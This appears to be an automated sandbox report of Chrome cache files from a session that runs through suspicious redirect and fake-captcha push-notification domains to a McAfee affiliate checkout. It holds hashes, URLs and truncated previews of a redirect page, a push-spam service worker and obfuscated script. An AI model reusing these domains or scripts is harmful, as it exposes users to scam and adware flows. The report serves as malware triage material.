URL:	https://td.doubleclick.net/td/rul/740246542?random=1727968793173&cv=11&fst=1727968793173&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":0,"expirationTimeInSeconds":15552000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"4s875874067.1727968793","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s875874067.1727968793\u0026ig_key=1sNHM4NzU4NzQwNjcuMTcyNzk2ODc5Mw!2sZ-wEGg!3sAAptDV7hdABk","trustedBiddingSignalsUrl":"https://td.doubleclick.net/td/bts","trustedBiddingSignalsKeys":["1srfVFzQ!2sZ-wEGg!3sAAptDV7hdABk"],"userBiddingSignals":[["6905854371","6903528903","7741013141","8648099792","8649020931","8648100185","8566718227","811973618","8649021483","7741720626","7740963340","65

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (48971), with CRLF line terminators
Category:	downloaded
Size (bytes):	63806
Entropy (8bit):	5.799372803893182
Encrypted:	false
SSDEEP:	768:cbYR49z3ZNhRAm2w+m0jPvQTcrFAQSbtUOD8YY+CNIwwzb8OClmWab9iPK3Wmewn:cbl9bf/nBCT6fS9iqg6brse2SUj
MD5:	1837B5F947E78931E61826DA875E09EA
SHA1:	591BD32503E8F6531728458828B2B1FB69C45A0D
SHA-256:	CBF32C75F07D7835EA4C15DA1B60537AC1DA02027557C8FF39B6C477E19F7003
SHA-512:	5C621AB03C97F276337276E114FE406446BD90659EE19C19DAB63256779E304ACF5FB13C4A2266F2CB1DC528A1DC9F517536AA314A703766355FD2D8069E9AC4
Malicious:	false
Reputation:	low
URL:	https://k8cpmrdof.thebigbonusleader.xyz/vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_body
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">....<html xmlns="http://www.w3.org/1999/xhtml">..<head><script>function requestLink(){return {sessionId:['sid','t6~gsmkraetmfbssfnztncro0il'],p1:['','https://molhajane.live/iltnvcec/'],jsFpCryptoKey:['','j2nhn2snczp7wtz3']};}</script>...<title></title>...<meta name="viewport" content="width=320,initial-scale=1"/>.....<style type="text/css">..*{margin:0;padding:0}body{display:flex;flex-direction:column;font:300 100%/1.5 Helvetica Neue,sans-serif;background:#e0e0e0;color:#333;min-height:100vh;justify-content:center;align-items:center}section{text-align:center;animation:2s infinite pulse}@keyframes pulse{0%,100%{transform:scale(1)}50%{transform:scale(1.1)}}..</style>..</head>......<body class="redirecting"><div id='r1'></div>..<section class="redirecting">...<h1>Please Wait...</h1>...<p>Preparing everything you need. Just a moment.</p>..</section>..<p id="demo"></p>......<script t

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2388
Entropy (8bit):	5.044309925990593
Encrypted:	false
SSDEEP:	48:LlyYsa8cyz4b5vUyCko6LbtS7H3DTL3eh7Zi/Dy3HIiCMlqR:ByYsG5vUGovz3wye4iRMR
MD5:	49508DBCF13E774B503D1F325A9E23A8
SHA1:	58C7F866FD667A39829A7332421FDD0FE5FA4ABA
SHA-256:	0ECC84BAC9EB09D66938A1C1ACAE6006A05402866BB3C7081477A00FA8A7683B
SHA-512:	4F80E1822FB1AEF4387F0DD2787522CD3E011CE20AD09DD9E7A0AAC0DD791F3C5104584A35215952017EC18185409EAD77F2A3CA903A6036AE0BD9DC932B6E27
Malicious:	false
Reputation:	low
URL:	https://re-captha-version-4-21.buzz/sw-e4e77d444e8cd26ad498a9c5c91d85c0.js
Preview:	/. v. 1.0.5. */.'use strict';..self.addEventListener('push', (event) => {. var push = JSON.parse(event.data.text());.. if (push.data.hasOwnProperty('pixel') && validURL(push.data.pixel)) {. var pixelUrl = push.data.pixel;. var getTrackingPixelPromise = getTrackingPixel(pixelUrl);. var showPushNotificationPromise = showPushNotification(push);. var promiseChain = Promise.all([. getTrackingPixelPromise,. showPushNotificationPromise. ]);. event.waitUntil(promiseChain);. }. else {. event.waitUntil(showPushNotification(push));. };.});..function showPushNotification(push) {. var tag = push.data.tag;. if (tag && tag.startsWith('service_message')) {. return;. }.. var title = push.data.title;.. var notificationOptions = {. body: push.data.body,. icon: push.data.icon,. badge: push.data.badge,. data: {. click_action: push.data.click_action,. },. image: push.data.attachment_url,. tag: push.data.tag,. requireInteraction: (pu

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7444), with no line terminators
Category:	dropped
Size (bytes):	7444
Entropy (8bit):	5.958424718795242
Encrypted:	false
SSDEEP:	192:1DY0hf1bT47OIqWb1Z/pCYYEqZzpCYYEqZA:as1T47OIVf/pCYoZzpCYoZA
MD5:	EC2E0C39D0ED60A226CEF0BAA3C59365
SHA1:	8387038779AA2BF184E10CD2E372F24D1AF85757
SHA-256:	27E01E41D5166654B5D3BB8E60E474E839E74D9FFA86C10A1A1E44EBCC7B90C9
SHA-512:	A4E14193510C5C6B52DC9687A8BE97F9E5D8A97D9B4D4D6A23EE685D424D1B52C3AA9A80BBD8F5D525015802795E388D3366F3C6834F94451D8424E5D30597D1
Malicious:	false
Reputation:	low
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 89, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	7.519555763404333
Encrypted:	false
SSDEEP:	48:KJwNn2xCJ35blnQ9PfVgS0p9HxJStnzZNBxKLT2hVXuOs:Q42yblnQZfVl0prQxKn2XuOs
MD5:	73EE5F5A65419CDAE683E3CE557667C5
SHA1:	C63479FD67F9BCF0FF867E518ED12DBB223929FB
SHA-256:	BEAF85377DDD403E8BEB6772E27EF87608E0DA79D09E3080798C339D9B822135
SHA-512:	CC8FDE9DCA807EACF53EE03B108958C0012C64F302F1F629FA565D8413605CEF52F108FC735281E5983380C11EFB3A01E87B5E3C7D4E44D88E20915D5EA9EF30
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...Y........'....tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:E9946724EA9311EDB9BBC2005BFBA92E" xmpMM:DocumentID="xmp.did:E9946725EA9311EDB9BBC2005BFBA92E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E9946722EA9311EDB9BBC2005BFBA92E" stRef:documentID="xmp.did:E9946723EA9311EDB9BBC2005BFBA92E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..vp....IDATx..]il.U.>}...<...p....6./`..c.. ....i).....?j0......1..Q..q.F.KbL#?....S..z>.}F..}3o.{.....O{.....s.

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1426)
Category:	dropped
Size (bytes):	5795
Entropy (8bit):	5.288243522156438
Encrypted:	false
SSDEEP:	96:jbC1ynkGY8RXPs7bWkBriFR0ucxYKB5QQJU1xfYItr6tQqHWITYKe2+qSwzywIq2:jbCMv3XPs7bWkZin0ZK3nffCQXEYK9vO
MD5:	9757514DFF9C9218A53641E99E099343
SHA1:	C5453E23C23B3B487A303F778243E2DA9BEA882C
SHA-256:	D752169529F9E8640A0D46E71B34280322BCDB42CB7D4CC6C92B6CF36A5AD954
SHA-512:	F1CA230C45DFF1251BBDBAEEB889E23774DFFD92FA866DE600FC05EA1C7C3B7F1A60C4985A449945A61F065F7BC64326840331C8CB0FA77919DFC128D071B63C
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.331 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.if(utag.ut.typeOf===undefined){u.typeOf=function(e){return({}).toString.call(e).match(/\s([a-zA-Z]+)/)[1].toLowerCase();};}else{u.typeOf=utag.ut.typeOf;}.u.ev={"view":1,"link":1};u.scriptrequested=false;u.map_func=function(arr,obj,item){var i=arr.shift();obj[i]=obj[i]\|\|{};if(arr.length>0){u.map_func(arr,obj[i],item);}else{obj[i]=item;}};u.hasOwn=function(o,a){return o!=null&&Object.prototype.hasOwnProperty.call(o,a);};u.isEmptyObject=function(o,a){for(a in o){if(u.hasOwn(o,a)){return false;}}return true;};u.map={"tm_global_pagename":"uservars.PageName(v1)","tm_global_culture_code":"uservars.Culture(v9)","tm_global_affiliate_id_name":"uservars.AffiliateName(v13)","tm_global_user_profile_type1":"uservars.CustomerProfileType(v37)","tm_local_purchase_id":"uservars.order_id(v38)"}

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (53606), with no line terminators
Category:	dropped
Size (bytes):	53627
Entropy (8bit):	5.5558203618646065
Encrypted:	false
SSDEEP:	768:qJ+u3eqQ3Iq9KxhKP3w9KDow9K7P25AYhAhmZK/b3Fw9K/NKKEFtnuEYVD/ws6HH:qN9qsWP46oijn
MD5:	23C46A647C6BFEEF105E9291D2BC33FC
SHA1:	1511B61121639B28B5EFBD47F54182FDD1A10811
SHA-256:	E262EF50087BA989210C7530F073B5288C7738B92314D706F5D6A7989449D413
SHA-512:	C182F662D5AEDD56A666E91C2C70771E512AC7AED743127AE0EA516E3C815A2DF3596B878CC397BFC2F62C9A7B43DE0502A4510E6A75A27C5405F03E58020620
Malicious:	false
Reputation:	low
Preview:	(function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu2HVD0rPywXVzW==","CMfFDxnLCG==","CMvXDwvZDa==","B25bBhjLywr5u3vIC2nYAwjLza==","yxnZAwDU","z2v0","z2v0rwXLBwvUDhncEunSyxnZtMfTzq==","w3jHxsbWzxjTAxnZAw9UigrLBMLLzdOGywXYzwfKEt0=","y2XPy2S=","B25SB2fK","w3jHxsb1CMWGAxmGzw1WDhK=","C2nVCgu=","yxbWBgLJyxrPB24VANnVBG==","C3vIsuqY","DMvUzg9Y","C3rHDhvZ","Dw5YzwDPC3rLCG==","y3jLyxrLrwXLBwvUDa==","DxnLCL9Pza==","AgvHzgvYCW==","B3bLBLn1yNnJCMLWDgLVBLn0B3jL","DMvYC2LVBG==","CMvHzhDYAxrL","ywn0Aw9UCW==","AxndB250zw50rgfYA2vU","C3DFDMvYC2LVBG==","CMvHzg9UBhK=","C2XLzxa=","CMvXDwvZDfbLCM1PC3nPB25tzwXLy3rVCG==","C2vUzev2zw50","ihf1AwvYzq==","ihzVCNjLyMjL","ntK2","zw5KCg9PBNq=","x19HD2fPDgvY","Ahr0Chm6lY91AwrZEw5JlM5LDc9ZEw5Jp3vZzxjFAwq9","DxnLCKfNzw50","Aw5ZDgfSBgLUzW==","zw5KC1DPDgG=","nZC0","C2v0",

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1071)
Category:	downloaded
Size (bytes):	2150
Entropy (8bit):	5.336783240369511
Encrypted:	false
SSDEEP:	48:xbRQ+8e4nPWNnR6IMI+wB/edm20zQhedmMSoQnW4:xbRCnP4ReIZB/UmoeUJoQnW4
MD5:	3274156216A190B812F8390B2050633B
SHA1:	67F949D85641CC461BE6EF7F5505E40246E92337
SHA-256:	D882561280A17BCCB1ED385843634E5EA6A25A95BA0E8A4E6669A0205B56488E
SHA-512:	9F82478B3AE06039E51C5FEA63C3CC66CC44D0CE9C5E31B2772A8FB3D9E192DFF8918425E12DA1C3F30BF5FE1A082972466912C37F73FB465004DE0BA183F1DE
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.562.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.562 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<35){u.loader=function(o){var b,c,l,a=document;if(o.type==="iframe"){b=a.createElement("iframe");o.attrs=o.attrs\|\|{"height":"1","width":"1","style":"display:none"};for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";for(l in utag.loader.GV(o.attrs)){b[l]=o.attrs[l];}b.src=o.src;}if(o.id){b.id=o.id};if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb()},false);}else{b.onreadystatechange=function(){if(th

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1426)
Category:	downloaded
Size (bytes):	5795
Entropy (8bit):	5.288243522156438
Encrypted:	false
SSDEEP:	96:jbC1ynkGY8RXPs7bWkBriFR0ucxYKB5QQJU1xfYItr6tQqHWITYKe2+qSwzywIq2:jbCMv3XPs7bWkZin0ZK3nffCQXEYK9vO
MD5:	9757514DFF9C9218A53641E99E099343
SHA1:	C5453E23C23B3B487A303F778243E2DA9BEA882C
SHA-256:	D752169529F9E8640A0D46E71B34280322BCDB42CB7D4CC6C92B6CF36A5AD954
SHA-512:	F1CA230C45DFF1251BBDBAEEB889E23774DFFD92FA866DE600FC05EA1C7C3B7F1A60C4985A449945A61F065F7BC64326840331C8CB0FA77919DFC128D071B63C
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.331.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.331 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.if(utag.ut.typeOf===undefined){u.typeOf=function(e){return({}).toString.call(e).match(/\s([a-zA-Z]+)/)[1].toLowerCase();};}else{u.typeOf=utag.ut.typeOf;}.u.ev={"view":1,"link":1};u.scriptrequested=false;u.map_func=function(arr,obj,item){var i=arr.shift();obj[i]=obj[i]\|\|{};if(arr.length>0){u.map_func(arr,obj[i],item);}else{obj[i]=item;}};u.hasOwn=function(o,a){return o!=null&&Object.prototype.hasOwnProperty.call(o,a);};u.isEmptyObject=function(o,a){for(a in o){if(u.hasOwn(o,a)){return false;}}return true;};u.map={"tm_global_pagename":"uservars.PageName(v1)","tm_global_culture_code":"uservars.Culture(v9)","tm_global_affiliate_id_name":"uservars.AffiliateName(v13)","tm_global_user_profile_type1":"uservars.CustomerProfileType(v37)","tm_local_purchase_id":"uservars.order_id(v38)"}

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/740246542/?random=1727968793142&cv=11&fst=1727968793142&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2634)
Category:	dropped
Size (bytes):	215007
Entropy (8bit):	5.570249133684993
Encrypted:	false
SSDEEP:	3072:KlnpioNVmhS3UmneRixxvNsxCoVZkGJ7Mi0quzDG5cssBrc8qL:eNbPtNDGJE+
MD5:	19E4EAD696FCCC5FC675ED6EAF3C5148
SHA1:	F9E154BFC2E1189BD4A3CC4BEB181A5BFC1361CC
SHA-256:	8450FC1F7F24721741D928DE5E21F6CC48149DFEACFEC4DC8297F169BD4AC4A7
SHA-512:	F266FE69E03498744B1AFC61CA48DA12373064689A539420167EB354683C818D8109E685FC7F605CDB54C083CC0A5BA47A7F91015EB5923E9C742155085EA9E6
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_tr=this.default_tr\|\|{};(function(_){var window=this;.try{.var Jh,Kh,Lh,Uh,$h,ai,gi,hi,ii,ji,ni,mi,Qh;Jh=function(a){return _.$a?_.ab?_.ab.brands.some(function(b){return(b=b.brand)&&b.indexOf(a)!=-1}):!1:!1};Kh=function(){return _.v("Firefox")\|\|_.v("FxiOS")};Lh=function(){return _.bb()?Jh("Chromium"):(_.v("Chrome")\|\|_.v("CriOS"))&&!(_.bb()?0:_.v("Edge"))\|\|_.v("Silk")};._.Mh=function(){return _.v("Safari")&&!(Lh()\|\|(_.bb()?0:_.v("Coast"))\|\|_.cb()\|\|(_.bb()?0:_.v("Edge"))\|\|(_.bb()?Jh("Microsoft Edge"):_.v("Edg/"))\|\|(_.bb()?Jh("Opera"):_.v("OPR"))\|\|Kh()\|\|_.v("Silk")\|\|_.v("Android"))};_.Nh=function(){return _.v("Android")&&!(Lh()\|\|Kh()\|\|_.cb()\|\|_.v("Silk"))};_.Oh=function(a){return a instanceof _.bc};_.Ph=function(a){if(_.Oh(a))return a.g;throw Error("t");};_.Rh=function(a){if(Qh.test(a))return a};_.Sh=function(a){return a instanceof _.bc?_.Ph(a):_.Rh(a)};_.Th=function(a){return Array.prototype.slice.call(a)};.Uh=function(a){return typeof Symbol==="function"&&typeof

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64912)
Category:	downloaded
Size (bytes):	85104
Entropy (8bit):	5.171942265982366
Encrypted:	false
SSDEEP:	1536:RZ5aQU/uEtsjWidge+B9MHQJUQkbP3XDECmf:R/CCWidgU7bP3Q
MD5:	A41A7668FBF1B68FC309F94E010B1B71
SHA1:	BB3B57C769FEDFB20FE44F312DAAF6AEA4CE430C
SHA-256:	46EC3C72601C546BDA419A95D91BE94B598EDE0E8B758C7E075F1D73BE48BEFE
SHA-512:	321BAEDCB185287071C94FBB3E52FD8CC17D675ACB4DAC469F2100AEEBC3B9EE212D72CC4ED0171B626B54DEC52FD593F99C7B3CD78751658422F91B579BF464
Malicious:	false
Reputation:	low
URL:	https://cdn1.adoberesources.net/alloy/2.14.0/alloy.min.js
Preview:	/*. Copyright 2019 Adobe. All rights reserved.. * This file is licensed to you under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License. You may obtain a copy. * of the License at http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software distributed under. * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS. * OF ANY KIND, either express or implied. See the License for the specific language. * governing permissions and limitations under the License.. */..!function(){"use strict";if(document.documentMode&&document.documentMode<11)console.warn("The Adobe Experience Cloud Web SDK does not support IE 10 and below.");else{var e="Chrome",n="Edge",t="EdgeChromium",r="Unknown",o=function(e,n){return-1!==e.indexOf(n)},i=[e,n,t,"IE",r],a=function(e){return o(i,e)},c=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,s=Objec

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	240
Entropy (8bit):	5.754637725917642
Encrypted:	false
SSDEEP:	6:6v/lhP6QKISIrwxASSGSknFbdtksRxTtXQQoKtjp:6v/7OWSLSknFRxOQoA
MD5:	3C5B094C8685E037758160C90E77EF0B
SHA1:	786BF5CC4734009BBBECABBCC0E5FE15C5B0CC7D
SHA-256:	D75908E619FED2332573FD1754B3577C6169BBC31CF189D0B5FC4C8141D494FB
SHA-512:	24F585E836F63E27C80D0B493C542EF57098C9DCEB333D5A02E6F42B1D57D6C38491925BE3689E5695EA60A81B2DDAEDF23EDEA3A10CC78928C9A37FF36F2E9B
Malicious:	false
Reputation:	low
